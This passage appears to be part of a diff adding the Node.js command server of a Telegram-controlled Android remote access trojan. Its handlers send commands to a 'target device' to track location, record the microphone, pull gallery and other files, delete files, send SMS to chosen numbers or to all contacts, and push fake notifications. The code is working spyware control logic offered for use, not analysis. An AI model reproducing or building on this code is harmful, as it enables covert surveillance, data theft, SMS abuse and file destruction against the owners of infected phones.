+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'location') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('location');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'vibrate') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('vibrate');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'stop_audio') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('stop_audio');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'send_message') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id, '°• 𝙋𝙡𝙚𝙖𝙨𝙚 𝙧𝙚𝙥𝙡𝙮 𝙩𝙝𝙚 𝙣𝙪𝙢𝙗𝙚𝙧 𝙩𝙤 𝙬𝙝𝙞𝙘𝙝 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙝𝙚 𝙎𝙈𝙎\n\n' +
+ '•ɪꜰ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ꜱᴇɴᴅ ꜱᴍꜱ ᴛᴏ ʟᴏᴄᴀʟ ᴄᴏᴜɴᴛʀʏ ɴᴜᴍʙᴇʀꜱ, ʏᴏᴜ ᴄᴀɴ ᴇɴᴛᴇʀ ᴛʜᴇ ɴᴜᴍʙᴇʀ ᴡɪᴛʜ ᴢᴇʀᴏ ᴀᴛ ᴛʜᴇ ʙᴇɢɪɴɴɪɴɢ, ᴏᴛʜᴇʀᴡɪꜱᴇ ᴇɴᴛᴇʀ ᴛʜᴇ ɴᴜᴍʙᴇʀ ᴡɪᴛʜ ᴛʜᴇ ᴄᴏᴜɴᴛʀʏ ᴄᴏᴅᴇ',
+ {reply_markup: {force_reply: true}})
+ currentUuid = uuid
+ }
+ if (commend == 'send_message_to_all') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙤 𝙖𝙡𝙡 𝙘𝙤𝙣𝙩𝙖𝙘𝙩𝙨\n\n' +
+ '• ʙᴇ ᴄᴀʀᴇꜰᴜʟ ᴛʜᴀᴛ ᴛʜᴇ ᴍᴇꜱꜱᴀɢᴇ ᴡɪʟʟ ɴᴏᴛ ʙᴇ ꜱᴇɴᴛ ɪꜰ ᴛʜᴇ ɴᴜᴍʙᴇʀ ᴏꜰ ᴄʜᴀʀᴀᴄᴛᴇʀꜱ ɪɴ ʏᴏᴜʀ ᴍᴇꜱꜱᴀɢᴇ ɪꜱ ᴍᴏʀᴇ ᴛʜᴀɴ ᴀʟʟᴏᴡᴇᴅ',
+ {reply_markup: {force_reply: true}}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'file') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙥𝙖𝙩𝙝 𝙤𝙛 𝙩𝙝𝙚 𝙛𝙞𝙡𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙙𝙤𝙬𝙣𝙡𝙤𝙖𝙙\n\n' +
+ '• ʏᴏᴜ ᴅᴏ ɴᴏᴛ ɴᴇᴇᴅ ᴛᴏ ᴇɴᴛᴇʀ ᴛʜᴇ ꜰᴜʟʟ ꜰɪʟᴇ ᴘᴀᴛʜ, ᴊᴜꜱᴛ ᴇɴᴛᴇʀ ᴛʜᴇ ᴍᴀɪɴ ᴘᴀᴛʜ. ꜰᴏʀ ᴇxᴀᴍᴘʟᴇ, ᴇɴᴛᴇʀ DCIM/Camera ᴛᴏ ʀᴇᴄᴇɪᴠᴇ ɢᴀʟʟᴇʀʏ ꜰɪʟᴇꜱ.',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'delete_file') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙥𝙖𝙩𝙝 𝙤𝙛 𝙩𝙝𝙚 𝙛𝙞𝙡𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙙𝙚𝙡𝙚𝙩𝙚\n\n' +
+ '• ʏᴏᴜ ᴅᴏ ɴᴏᴛ ɴᴇᴇᴅ ᴛᴏ ᴇɴᴛᴇʀ ᴛʜᴇ ꜰᴜʟʟ ꜰɪʟᴇ ᴘᴀᴛʜ, ᴊᴜꜱᴛ ᴇɴᴛᴇʀ ᴛʜᴇ ᴍᴀɪɴ ᴘᴀᴛʜ. ꜰᴏʀ ᴇxᴀᴍᴘʟᴇ, ᴇɴᴛᴇʀ DCIM/Camera ᴛᴏ ᴅᴇʟᴇᴛᴇ ɢᴀʟʟᴇʀʏ ꜰɪʟᴇꜱ.',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'microphone') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙀𝙣𝙩𝙚𝙧 𝙝𝙤𝙬 𝙡𝙤𝙣𝙜 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙝𝙚 𝙢𝙞𝙘𝙧𝙤𝙥𝙝𝙤𝙣𝙚 𝙩𝙤 𝙗𝙚 𝙧𝙚𝙘𝙤𝙧𝙙𝙚𝙙\n\n' +
+ '• ɴᴏᴛᴇ ᴛʜᴀᴛ ʏᴏᴜ ᴍᴜꜱᴛ ᴇɴᴛᴇʀ ᴛʜᴇ ᴛɪᴍᴇ ɴᴜᴍᴇʀɪᴄᴀʟʟʏ ɪɴ ᴜɴɪᴛꜱ ᴏꜰ ꜱᴇᴄᴏɴᴅꜱ',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'toast') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙩𝙝𝙖𝙩 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙖𝙥𝙥𝙚𝙖𝙧 𝙤𝙣 𝙩𝙝𝙚 𝙩𝙖𝙧𝙜𝙚𝙩 𝙙𝙚𝙫𝙞𝙘𝙚\n\n' +
+ '• ᴛᴏᴀꜱᴛ ɪꜱ ᴀ ꜱʜᴏʀᴛ ᴍᴇꜱꜱᴀɢᴇ ᴛʜᴀᴛ ᴀᴘᴘᴇᴀʀꜱ ᴏɴ ᴛʜᴇ ᴅᴇᴠɪᴄᴇ ꜱᴄʀᴇᴇɴ ꜰᴏʀ ᴀ ꜰᴇᴡ ꜱᴇᴄᴏɴᴅꜱ',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'show_notification') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙖𝙥𝙥𝙚𝙖𝙧 𝙖𝙨 𝙣𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙩𝙞𝙤𝙣\n\n' +
+ '• ʏᴏᴜʀ ᴍᴇꜱꜱᴀɢᴇ ᴡɪʟʟ ʙᴇ ᴀᴘᴘᴇᴀʀ ɪɴ ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ ꜱᴛᴀᴛᴜꜱ ʙᴀʀ ʟɪᴋᴇ ʀᴇɢᴜʟᴀʀ ɴᴏᴛɪꜰɪᴄᴀᴛɪᴏɴ',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'play_audio') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙖𝙪𝙙𝙞𝙤 𝙡𝙞𝙣𝙠 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙥𝙡𝙖𝙮\n\n' +
+ '• ɴᴏᴛᴇ ᴛʜᴀᴛ ʏᴏᴜ ᴍᴜꜱᴛ ᴇɴᴛᴇʀ ᴛʜᴇ ᴅɪʀᴇᴄᴛ ʟɪɴᴋ ᴏꜰ ᴛʜᴇ ᴅᴇꜱɪʀᴇᴅ ꜱᴏᴜɴᴅ, ᴏᴛʜᴇʀᴡɪꜱᴇ ᴛʜᴇ ꜱᴏᴜɴᴅ ᴡɪʟʟ ɴᴏᴛ ʙᴇ ᴘʟᴀʏᴇᴅ',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+});
+setInterval(function () {
+ appSocket.clients.forEach(function each(ws) {
+ ws.send('ping')
+ });
+ try {
+ axios.get(address).then(r => "")
+ } catch (e) {
+ }
+}, 5000)
+appServer.listen(process.env.PORT || 8999);
\ No newline at end of file